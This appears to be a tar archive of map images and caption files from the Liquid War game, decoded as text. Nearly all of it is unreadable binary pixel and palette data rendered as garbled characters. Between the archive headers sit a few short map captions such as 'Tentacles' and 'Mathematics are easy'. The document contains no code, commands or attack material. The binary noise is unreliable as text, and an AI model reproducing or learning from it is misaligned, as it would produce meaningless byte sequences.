2t%Js®#i2(2dÒÒdǒ^+y00*aCߟaƟaCfiaflf.flflHiߐߟHhli0H.4Qh›.fĒǒS±íRD"+M(gU"Mîl՛娜ھ.puD,yd5id2#d’|^Ғ’&&SĒdÒÒΒ^`3O*y+dddǒɒdƒĒ’Œ’d’d0Cigg2g2yt)@4l$rggy+’’’^’ddC0ֶŸaƟCŸaHiflfClCi0HhfWƟrߛC›՛ٛiŒ’’’Ò5e3­RD?J(ђ;$TuPuU)M:՛f՛ِZMQ(gجD^+d^$g+^+Cgi+’x4Qy’ÒĒĒNÒĒdҒ͒^^!e+^ddɒĒƒĒÒddf|(x|ySg':A@J#g$g2$2$’Ē0߶y֟Ɵa*aCfƟaCHaHlf.f4l4flfݛrCfHi.dHrifkClfҒ’’­RDUZM;SO(|"J<'igxigdd(5ffaC>HCfl՛flh4lflf>f4lf04lfߚ9HWHٛk.fCikfÒÒ­Pv_;5+^+xKeND"@|gÔ+$gߐWrH0’+r8?vPK(y^+$4#$+ ay*’#ߟy’ǒ\5’ǒɒ֟a’’d’dddĒÒ&B~^dӒdÒҒȒÒd0iixnr֟i@%$+y+4{%@xigǒ’^d’0iƟ0*aŸ>flfCƛfHCÛfl®4fflîHrf>.qHHH.HiݛC.k..dĒҒ’3& ~TrSg|g+9qt{'|#gy+’++g0ֶHilhlf>Cߛ.fߛlif>.HƛHiߟ0ii4›CiidĒ’Ē’¿ng$$5SySg|KT$+r$x78X4h’)D(ŶdlJ:ض$ђr$Œ’^ǒєg2+’’’^’’’dŒ’+dÒdÒǒĒ’^^’’ђǒ’ÒĒ’+pg>#y^괮|$%||iy+d+*gr$Ɵ*+d0f.՛Cft4lfݛfCf4f՛hfCiCHߛliCH0H4fl՛iiǒd^’’’O|(S5$xOg+^^S$.l4YJYh%[i41{8YYhNP#|g2*S$S+g(.›fYlhsXY4f.fl4h4lflYCiflYXhl.h>a.՛Ciflthl.iiߒ’ĒŒŒ’0$if4lXX7]]U[D,[%l+dǒiDeϬt4irÒd吮]gSYy+^Syd’ǒ0dǒ’ƒŒĒ:$ȒƒÒƟǒ’dÒddǒ’ŒǒÒǒɒdǒÒ͒Ē’dgg4բw۵qx#4t%J)%|(fh'x$g(y0y*$Hx0iY4YpYlh4lflîaHClhYhYHkHiflfiHi.Y8t4f՛(gÒƒ’Ē’’H$i.flh8Jp]Uvގ?[U@$^Ē:U¬@#rd֐Œ’Ju@#$+ǒdd+g2*0’Òd’*+Ē’Œ+DK^ddƒd’’*#fy+ŒddĒǒd’͒ǒÒʒ’ƒr.#tT{;):)-.x'.yg|Qx$WWr$Ɛlhx2>fYJX[-Y6XYîYXXl4ll՛Cf4YYhYhf4lCƛ.Cf߶W0HilhYt.i.Òǒ’ǒÒ^$i.8Jpp:[DvFœ,w@x^TU{%|2xߐ0’šYdD~cOn'|+y+i՟+y֒d’+yÒ’ÒŒŒ|Ò+'+^Ēf’’埮4fĒddƒdÒdȒŒÒ’’i4'K,U.;qzt{":")@|4#|iŸg@#g5 $g2gih'l.87]pJ®hXYhw7خlhîfifYYhlff4.iHHƐ0rHCk44f՛ƛĒ’d’ǒҒlJ[U?D vFFU{+v {@x aiߛՐi'Œ^c$%g*yglhxy++0$’ǒÒ^ÒÒŒg’ѿ^dǒhݟdhնddǒddĒɒӒÒdŒ’’’d’^2#Q&[Q):[Mth%@#xxgi#iS$i2i2|YX8p-pX®X4fYX4lYhfƛfhYh4hlf.iH՛C֟C4igifҒǒ’^’^Ò[DPRPFD"Jg+nڜN[gy$t®4yir^gr$i#h+ǒ+dǒ’’ĒÒƒÒ^+5ђ’+#had'iyÒdǒdddǒ˒̒ÒǒdÒdǒ’ÒdÒ2#'%í:["{p:{%ة'#2x#l$g®#l4fxg$@YJYXpXh®hlf>›lhXYhYXh՛f.fllhf.iCH՛.4.4fi’ҒvPRRœ:x+’M @|*y+x%:JXshlW’+ǒWgl8J+’+2g’^’’ɒƒĒ^ ^’^+lyafd’ddǒǒǒΒdǒdҒ’ǒd2zϜv_[T))Y422lYh#tCC4XXhlfffhh®l.Hlf4flf.Cߛ4fifhl.iHfl’ÒҒR­FuvD:g+^n%uU1XYYh0’$+yg#ddÒdd’’ŒŒ’’Tǒǒ2@ dd+dǒ’ϒӒǒd̒ÒÒş(9O"Dv,D)ר"X4|ngf@Jt@Yl;4Clkl4l8JXhflhYhfflYYflHhfC›CݛCfCHƛ.fC߮4.i›.ǒǒ^ĭRD{5^:|^S?":JYh4ŒÒÒJ?vD{(Sy iYx+d$y’̒ÒҒ&)Ò+g2 ^+dddɒ˒˒Ȓɒ’’Œn;@:_БԜFuM:]["J@hlꮵ@7ة@8tlx#lfX7XY4k7XY4lhlffC՛i›Hai.iCii.i4lfi4f’’’’Ò`R­RU:;++c|^ы~RPv?pYl.’’{O$48{%g+^’Ē+d’’d’’ÒÒŒɒ’ǒ^<^’’dŒd’dΒݒ̒’ǒ04:MDԜvP?p:[-7%ts{¯)@@'@lծ4hXJ7psY4hJlYhllflHHiifffiƛ.il4qf.q^^’0ǒeRRN_~+^{||Dڨ{:[fHĒ$$(k:$+Ŕgr’^ǒ^ĒÒ˒Ē^’(’ÒȒ’d+dǒdĒ͒’Ē@){&FDvPDU"X"[-[8Xw%YtY@thtlhJX6XYwXYt6hlf՛Cf՛CCfk4®lflf.Cikl.lCi.^’+Rv:(5nf®Y4Y4՛C›iifi9i^d’^ǒ+(On$S5n5$‹(ђrHYlծY8®YĒǒx|+yg’^^’’Ȓy^*#A%|n&\ђÒddǒŒҒՒ’ĒŒ+gjUDNDގvDUDڎ [Uì[U{{XJJYhYhY®Y6X6hflhhlfXfffChX4kqlYkfiHHdǒ’’(g$SyS$xg+^+W$|4Xخ(i8]%sXi’ffl4fhY84h®l7Y4ffhfÒÒ^dǒÒ+S$5g(xlhhpp{|y++*{{YH’ÒxgnxQX'¶g0dĒ’’’Ò’Òǒǒ^#y ^Kƒy+ʒÒddɒdd’ϒÒdŒÒdy,DvDNvPRDvP&FDev¬UDUD?¬]:{¯JXYYXhlYlhlhY84fl®Y6YlfqCq4flh®hQl44lkfkk.iHĒ’dǒ+֐$'@YhYJU[Jնd(M%l0’S¨g5”2’’Βǒy2Ò^Ò<5dŒd+ dǒƒdǒǒdddŒdǒdŒ̒ǒŒƒŒ^x8"_FRvޑP_DFFvDUDDU[U[-J]wh4X4h®hYYlhtfl4îY4®YhQ®4fq4h.՛iC›.k.ƛšÒ^d’ÒrHi.48Xpڎގ,[(ǒ{{%hiǒ’g(4#rĒ’ÒĒd’Ò^’Ò^^^˒ddŒdd’’ÒdŒdՒŒ’Ȓ’^#{"F"DFD_DFDvDU[¬,:1XXhhYfl4lîflflYhlff4l4YXJ7XhltYQ4®4hlf›..H..i.C’’Ēǒd$i4J:D@i+^KJ@4x$x’5(SĒĒƒȒl@#a’Ē^ÒǒdddǶ;:ƒŒdƒْ’Ēǒ0%_Ԁ[X)vDvDPNvvޑFD,1][U[1]pXYhY7lݛfhl.f՛CilY4l4YX7XsYYhtYhlflYXYql4H4iƐH4qǒ’ŒdUDPp'$dؘ|xgi|4ÒÒ’ĒƒÒ+$'YJlad’^’^^^d’+dd*ߟaǒ*y$($ǒdƒ’’’+$)ޱڴs{jevDv&FDvRPFFD[1U_71p7XYqflYfC>.ifff4h8YYXJXYhhllh4Y4fl.CHC›ǒÒǒDPRn^!,xrSH.rdǒd’’’ǒÒd’^#-Jh’ǒ^ǒǒ^^+’ǒfhl$’^’ĒdɒĒ’Œ$-,)<:D_DޜRv‘,U"jDU"{J7[7h؇sYhhl..flfl4fh.Y7shlYJ6Ythfl.qf44f.ߐHiĒĒ’^R­3U(5$+$.f2#֐SŒÒ^’’ĒÒÒÒŒg'pwladÒ+S+0ǒݮlfl>d’^ŒdΒԒĒŒÒƒǒdkJ"U,:xn|%[DDRDU"[UU1p7pU[]XYX6h®flffllfhYXhft844lflihYlHi$dÒÒҒ3­RDuM^r.n¶rǒ’Ò’ƒ’ƒhXA’’’^٦N\ǒCdĒ$4h@#$ǒddĒْǒʒ’’ĒÒ^iKU)g$nUDF,vFœDP/_DDں[?]Js7]7sXXYff..f®Yhl44hYhflîY.44i.՚gĒ’SڱNDM<^5YS%r+֐ÒÒĒ’Œ2l'’ƒ’^Oe&N|^+#y+$®:ǒddِd’ߒĒʒǒ’ÒǶUvDUK|n_D މ,,²DDDFPvDDvU[U"]]:7X7pXJJX7wXhlfllqftXYhflhYtf.Ys4hf®fCߒÒҒ’ԑ`K|(Sg;5xh{:@r+#g+r’ǒ0*dǒƒ’̒+*x’ǒTM!~+^+^+y*2¡ SѶ0? ]t’ߒÒǒ̒Òdiv"ws|DD,U¬DuDvD,v,D[]pJ7w7XtYXX7t®Y6®flh4.l®l4klYYhlflh.44ƛq4HiĒĒĒd’Sn$5($gJ"+x@gy^d^+r’0yŒi$^’dÒÒĒdÒdÒdĒ+| +’+$;+^^OT`ÒْŒ’ӒĒ’dW9#جuU,U)J@%w?DvD,U["[U?,ueD_,DDގ[U[1]p1]w8XYX]7Y4l®h®>l4®YXpJhY6Y4lf4htkff.f..9ǒÒǒ(n{?J|+;(+^+’^y+ry’’’ђ’’|TN +^’OJ+|@5K¿ T^’’ÒĒÒi{?U[":J%'#ih{U[U[U,DD__,_DvD[[]p]7][1-wX6wp7wJYX7slklXXYl4Y8Yfk4qlfiƛ®$ǒd’ǒ^’Ò+yi]u"|(+ǒg’’d’dǒĒ’Òֶ+ƒ’^+&^^^$@+^Ƕb5\+^dےĒ’Ē͒’ÒxtD"){wJص®X"j["[UDD_[,,DFD_D,U]]]1[X77p7XY4Yp]†XsY71]tY4h7t4h®YXYhlkfqCf8i$HȒ’’’^y{ޑu(g++g$’’’dŒdǒŒÒ^^O!3^+^’^+ +S{@+,#^rdɒdΒ’ĒʒŒÒĒ’]D["-[-)J')¯"["){JU?DN/D[ND []]1]JXX7pJX8k]p7wsX74k78YXtYhX4lhqfkl.qig’’’^’Ò’lMD,5S$d+f^d’d’’’’Ò’ʒ’^^T \+dd^*g(n$5;(*^^ TԨʒ6Βǒ̒ǒÒY,U:?["-{{)-)@J:,UeތvDގ[U?D["[U?]?][]7p]YX7XhYs7p7s7J7XYhlktp7XhYXYf44Yq4lf4q.iɒ’ǒ’$$5^y#(+^’Òd֒dǒd0’Œ’Ӓ^OZB(aŸ*^^d M^ɒdadђՒ’ÒĒ0:-¨¯["-["{TJ´@sKUD, D[?[UډD?1ì?p:pU7JXJ]7XJ7wX8hhY8sYtl4Y7f.kq.C՛CHdĒǒ^^’<|5gX4+^$g’’^0’Ò’Òƒ^T%@i#l*ǒ^^+y^^QeV~OƒԒ̒ƒ’Œ’(@6%J:["-{s#|4@)J:)%@M ["[DDvDFDU[1UD/DU_U1[":pp7[?[]1]JXJpwXtYp]X844XYhîf4YJtծlf.i›Òdƒ’ǒ’Ò’+d0gY)yixy’yŒƒÒ˒’{%#l> +^+dǒ+ǒ^+ 3’ߒ’ВȒ0i#@{-:wJ@'@%"["U_DF, vUU[D[]17][XX7J7JsY81Xh4tXY4l4ls՛qfqkiiiҒÒÒÒ+gfg+ly+Ē’’Œǒ’ĒÒȒŒ^^^6ll'f2^+^’+@^̒Ēdd^ygx@J{J@:){ص'õt1 [U[D_D‘[?DUUu[[-[U[p7Xp]XYYs]]p7XYhlhYhî4t446hqlf.h.i.’ǒŒ”y$f]:+*+g+S$֒ƒ’ƒǒ’Ēǒ^^^S%@®@ ++*^^Ēܒɒddd’^*i<l4{)J;#4hQ:"[U[UDvvD?[vPUUU[ [?[ [1]7]7XYtYt8s7ׇs4ktĮh4lfklhl4f.HÒÒƒǒ’Œ’.te5g%(y$g’’ǒ’dd’ĒÒÒŒ’ǒĒ’^^gx#g2+^+Ő{;5^^Òڒ’Ē̒Òd’+2||QشwAX|@{:{:Jp:] ["U,Dv,DFDU?D?[¬ڎU1p]7X78YsXpJYl8t4®4®4q4®4t.ÛCkՍ’Ēƒǒ’’’f:Mgl%{+y*x0ÒǒddÒÒҒÒĒdǒ^^’^+ *y^&yŒ^’^ےҒ’ɒd^’x2g'8%خx#%)U¬[,DvD_U",,_DUD?ڎDu[¬[U?[1]pJwp]1pJYYXY4lhYh4ttY4lflf®l4®fiÛCiƒƒÒĒÒÒg4XMn+S+fQy+”’ÒdǒƒĒ’Ò^^ǒ^ĒÒ^d2 +WǗ!5^^’’d֒’Ò˒^’Ē26@ة%@t®%pU_DD[U[¬"U-)][uU[UDU¬[]1[1J]p77p7JXshh4k4YhYY4spXh.ծ›.l4ƒǒdҒ$|{(Si4yy֐r’ǒҒÒĒɒ^ǒdǒŒ^*ѐ; ;\M^d0ՒȒ’Ò^y %%´w{wJh@%J):"D_ޑ,UDvގìp8][UD?D[-]][U¬17w]p7JsX7JX7X444lfl4YlXtq4lf.i.’Œ’’Ò^’’’’MTn$#%x+SŶ^ÒdĒǒŒĒdG9nǒǒd/g&QђÒ^+dŒВȒ’Ò’+Ŷ2@%{){:J[״:U-D" _P?1"J:ì[[Uމ ]1[1J]Js7Xt]p7XYttkl®4t8خ4hh4kqiCl4ÒŒ’’Ē’gn|@{g5 yy+Òǒ’d’’ƒÒʒq O+’’Ē^^O@n^Œd+dӒÒȒĒ’’ŒĒgx#h@ش{-:UڇY@"_U"[`ޏ"[UDPj[]p7[¬U[U[¬]1[U[]7J]]7XJpp8p7sYYhstYl444l4th4q.iH.qĒҒg41:$gy$d’’ǒ^’’ǒÒŒy^+ɪ3\^ƒ’^\d’d+dŒђ’dȒÒÒgi|#J)",jTuvDU"U:"[?ڲU:):p"[1][1]?U7]1X7p7Jt4lYs8tlklklfq44kf.iflŒÒ’Ò(g(i2$Ēd’’d¶+ĒƒŒÒ ơ ǒeT^ƒÒ^^+glg+ΒddÒǒ’Ē+2|@:ڬjUFPDU"U?DޑFv]7{p7J7]p]׆ ]1U[Jpp7sYt7wXtfYXYl46®.fY84flhl.iC#’Œ’d’’yJg^*^Ò*+*ɒdrfhx*^„Kd˒^^ǐid*#^+dǒ̒d0a0d’’dǒҒ^Ŷi2|;h{"["¬DDUDUDvD7J:1:]{7]¬]]1]1[1]p7]7hYJ7XJX8YtYYl®h4lYXt4lf®4f.fƒ’Ò’ĒÒgǒ^’d’ƒ’(h4fV{+Ē’ǒ^d8tÒ+d˒*CfC0’˒’Ē’’yi2gxh%J%:"UDڎFR,[UD?U-]JXJ:[]7]]]p7p7swp7XXt8XlfY4k4htXY4h4lq՛.q.ɒ’’Ē’’’’^ǒ’ĒÒʒ(fh#C+ZN~MO++ƒÒ^+OЋ^ǒ+ey͒daCaҒʒ’’’’^ŶÐih@)[",_D,گDD?1[1]pw7J{]]wJ7]w]pJ7XwXY®X8YY4hYsY48Y4tY4th4fkC>qǒ’’Œ’d$ҒÒÒÒŒ’xî4Y#2g 5++dǒd++\@^\K5̒+d’’’ʒnf'J"J4;Qt"[U,De?_UJ"U?[UDU¬[U]pXJ1]]p7J]pXJ]pXJthYXl4ll4kf4hl4lltst4l4fldƒ’Ò’’’ǒd’^d’’’’dŒ’ɒÒY4lYx2c+++dddf*gªQ+dǒ\nSdђ’’Ē’’|@@.h@%1,UvD?U"?p[_U[U[ [1Xw]p777JpJ7JX7tYh4l.4Q4®4Yhk4th4f4fidȒ’’d+’’ǒdd*’’d’Ē+A@Y%6x;TS+y *+@Y+$<^ǒK`!#dΒʒŒÒƒÒ’Ē8s:[?UD_UD?U v :Dv_FU[U[1wX‡7){p]7w]J77X7Xs]pX4hl4ծY4t4YfqYYlt4›dĒ’’’’’^’’’ǒdǒ’dd’d^y*’*#6۵;(|)~5y++@4xdї<^5!3ْŒÒĒ’Ò+SpT]"U,"U,,vD_U[UޑDv¬[-]7׬7]7X]ؠ]pwsYXJ8YXY4h®h4fk6Y®h®Y4hh®lfidǒ’’’^ǒ’’’+ǒ’’Ēdh'h'4Z+*^bA'(Sǒ\m5^ΒŒĒƒ’dd+$#)D?U[DD,D_D_D[U[ "]-p17󇙆XXXXk4YlhY4t8YhftY4qf444.iqf.ǒ’’’Ò’ǒ’’Ē’+’dֶdŒ’’0ǒ’y4h'@+yg y+#$W;NҴ^dc^dӒŒƒ’Ò’^^nJ7]ePU[U[1U,DFD_DD[p7s]]78J]pXYXJXYYhflYt8sX8Ys4lklllh4q.4®›Ēd’Ē’’’’ǒ’Òd֔yaÒŒl’’#6#4h@JT%y++e(+LK&^^^^K3<Ӓ’˒’’^’y#):pP"UU¯"PFDv,?DD_?[J7pp7XX7pخYXخlhhf4t®YX8hXhf.4Q4lfq..fĒĒҒҒ’’^Òǒ+ ydǒÒ+’Ē0aŒd2y2(g2®+QN:5^+M;+^^~cn^$~^ӒʒÒÒĒÒ^ǒ^gqX:DU,?U[_vPRDDDD_U[]7]ׇ7JJts7pXYhlkh®4®4h48lY44hlk44hfCi.’d’’Ò’’’Ē’’’Ē^5’’’ĒĒb60y#’^5g$^nc+^^+^’+\+^~ eTdԒ’ȒĒǒ$#J{_DuUޑvPRv[UDvD_[1J][7]p1¬pYth48YXY4YYsY4l4tY4ff®lk4hlC՛if’dĒ’’’’’ÒҒ’^^’ǒdÒҒ’ÒÒĒrd+^ҒSђ^+^^++\@#;ddĒΒ’ǒȒ’ƒǒ^g2|@D,D["FDD_[?_DF_U UXJ[U[1¬7p[_ps8stYtsYqhXYtYllî4.f4՛iC.4.ǒŒŒ’’’’ÒĒdҒ’dd’’’’’^ߟ+Ғ^{ђ^^Q<+^5V;+dْ’ʒĒd^^S$#@X)DU["D_ୁޏ_U[vDU_[]pwJ][U17[]7Y8XXsXstsYhYhY®Y44l4lq4tqiHlY4kq4dĒ’Ē’Ē’Ē’Œ’+y+^+ҒÒ^+Òǒ’’’’’Ò’Ƕl>ydǒÒ^Z^^^ǒ^ &ђǒ^ᖸ^ȒʒǒɒĒ’^^^ǒ$#[eM{e"-",œD?-]ގUڲU[?[]7p7]U?ڲ]p7st8p7sJ7JY4hhl48t®lhk.›iff#Ȓƒ’dǒ’’’ҌҒ’ǒ+d’’֔+^+ǒÒd’^ǒg*’’dɒ’hf#gǒ^^:ǒ^’W9\ǒҪSdĒd0ВȒǒd’d i@)U),?pJwï[- D,UU",[¬[U?D[Ž[U?p [ڎ]7[7pX7JXsw7AXt8t84®QhY4f՛f.›CiiĒŒŒÒŒ’’’dÒÒǒyd’ ^+^’ŶaÒ+ђ’’^Ғ’^rx'hlx^^Ēdd!! +L>Vj*>LZbsJVi>J["2C>>L*fn|&6VVhusz'*:rp}[jt&:L&9ARd2FT.W",:RgJVt>Jd&DTbs.:J:FT:Nfn9J\F^r2Lszav $&DnEVmRVd"&7V^o~*2@6>U +KRa`n4ARl8Jdbdr]j $Tb| nzgjz &=*FTFN\$rv%:U*<2F^.Ebf.:W*>X<>T*:M^v*5P 4FNj:F`nrz~FZq2C,.6NLZk#6Dnqz"6V^|JRnfjrvz6ALz&.Iivt"4~66D&4BBL,z|RZt"*F3L4'=Nfu6D2N\j~:JN]gft2BL\ft@N\WZi[f~0BYTft $brbjsFRc6FT "46:I^^tRRabjnj|zvRZk"*7*6D6BYn~z,.D /6B>Zl*BL;BK,ir|v~&.<$6N4LZt?Ng*Dhr:N\6Lu~*D5:NgUf|$*BZ:BU*:K".>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/place.bmp0000664000372000037200000020717013407756104016422 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/bored.bmp0000664000372000037200000020717013407756104016431 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/honeymoon.bmp0000664000372000037200000020520413407756104017345 0ustar travistravisBM B(  liquidwar-5.6.5/data/map/charming.txt0000664000372000037200000000003713407756104017160 0ustar travistravisKasper - Anaglyph 2 (charming) liquidwar-5.6.5/data/map/lwtab009.pcx0000664000372000037200000001116113407756104016705 0ustar travistravis c@d liquidwar-5.6.5/data/map/net1.pcx0000664000372000037200000004206413407756104016220 0ustar travistravis v,, liquidwar-5.6.5/data/map/feuille.pcx0000664000372000037200000000530013407756104016766 0ustar travistravis q@r liquidwar-5.6.5/data/map/world3.bmp0000664000372000037200000001307613407756104016550 0ustar travistravisBM>>( ???????????????c`?`03???`@? ?????1qq?1|?????<p0?a  `8??x??~?>??@| '????liquidwar-5.6.5/data/map/213.txt0000664000372000037200000000002513407756104015672 0ustar travistravisMathematics are easy liquidwar-5.6.5/data/map/lwtabtru.txt0000664000372000037200000000002613407756104017232 0ustar travistravisLW3 - Dots and curves liquidwar-5.6.5/data/map/pieuvre.txt0000664000372000037200000000001213407756104017040 0ustar travistravisTentacles liquidwar-5.6.5/data/map/carreaux.txt0000664000372000037200000000001713407756104017200 0ustar travistravisSquarish stuff liquidwar-5.6.5/data/map/net1.txt0000664000372000037200000000001013407756104016226 0ustar travistravisComplex liquidwar-5.6.5/data/map/titanic.pcx0000664000372000037200000001207613407756104017004 0ustar travistravis @  liquidwar-5.6.5/data/map/biere.pcx0000664000372000037200000001327013407756104016434 0ustar travistravis @ liquidwar-5.6.5/data/map/clown.pcx0000664000372000037200000001372213407756104016472 0ustar travistravis @ liquidwar-5.6.5/data/map/8.txt0000664000372000037200000000002313407756104015532 0ustar travistravisJan - Eight houses liquidwar-5.6.5/data/map/z.pcx0000664000372000037200000001471113407756104015620 0ustar travistravis +,, liquidwar-5.6.5/data/map/slimy.bmp0000664000372000037200000020717013407756104016473 0ustar travistravisBMx6(  ~~~}}}|||{{{zzzyyyxxxwwwvvvuuutttsssrrrqqqpppooonnnmmmlllkkkjjjiiihhhgggfffeeedddcccbbbaaa```___^^^]]]\\\[[[ZZZYYYXXXWWWVVVUUUTTTSSSRRRQQQPPPOOONNNMMMLLLKKKJJJIIIHHHGGGFFFEEEDDDCCCBBBAAA@@@???>>>===<<<;;;:::999888777666555444333222111000///...---,,,+++***)))((('''&&&%%%$$$###"""!!!  liquidwar-5.6.5/data/map/lapin.pcx0000664000372000037200000001354113407756104016452 0ustar travistravis @ liquidwar-5.6.5/data/map/haricot.pcx0000664000372000037200000000452013407756104016775 0ustar travistravis ,, liquidwar-5.6.5/data/map/skullbig.bmp0000664000372000037200000045417013407756104017156 0ustar travistravisBMxX6(h  !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/penta.pcx0000664000372000037200000000437113407756104016457 0ustar travistravis nG@ooH liquidwar-5.6.5/data/map/poisson.pcx0000664000372000037200000001107513407756104017041 0ustar travistravis @ liquidwar-5.6.5/data/map/spagueti.pcx0000664000372000037200000001272113407756104017167 0ustar travistravis @ liquidwar-5.6.5/data/map/rect.bmp0000664000372000037200000020716613407756104016300 0ustar travistravisBMv6(@    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/net2.txt0000664000372000037200000000002013407756104016230 0ustar travistravisPools and pipes liquidwar-5.6.5/data/map/solsystembyn.bmp0000664000372000037200000147337613407756104020127 0ustar travistravisBMvN(vUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU